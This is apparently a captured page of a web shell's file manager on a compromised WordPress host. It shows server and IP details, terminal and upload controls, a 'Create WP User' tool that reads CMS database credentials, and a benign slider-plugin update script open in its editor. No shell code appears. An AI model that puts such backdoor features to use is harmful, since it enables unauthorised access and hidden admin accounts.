Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops.pl
/
wp-content
/
plugins
/
motopress-slider-lite
/
includes
/
updates
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
1.1.0.php
1.03 KB
-rw-r--r--
2021-03-21 12:50
1.2.0.php
64.00 B
-rw-r--r--
2021-03-21 12:50
2.0.0.php
1.14 KB
-rw-r--r--
2021-03-21 12:50
2.1.0.php
1.14 KB
-rw-r--r--
2021-03-21 12:50
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
2.1.0.php
<?php if (!defined('ABSPATH')) exit; global $mpsl_settings; // Clear old fonts cache (new vendor/googlefonts/webfonts.json available) wp_cache_delete('mpsl_gfonts'); // Replace "random" with "rand" in slider "post_order_by" option variants global $wpdb; $sql = sprintf('SELECT id, options FROM %s', $mpsl_settings['sliders_table']); $sql .= ' WHERE options LIKE \'%"post_order_by":"random"%\''; // % in LIKE expression will emit PHP warning "Too few arguments" $sliders = $wpdb->get_results($sql, ARRAY_A); if ($sliders) { foreach ($sliders as $slider) { $id = (int)$slider['id']; $options = json_decode($slider['options'], true); if (isset($options['post_order_by'])) { $options['post_order_by'] = 'rand'; $options = json_encode_slashed($options); if ($options !== false) { $wpdb->update( $mpsl_settings['sliders_table'], array('options' => $options), array('id' => $id), array('%s'), array('%d') ); } } } // foreach } // if $sliders
关闭
保存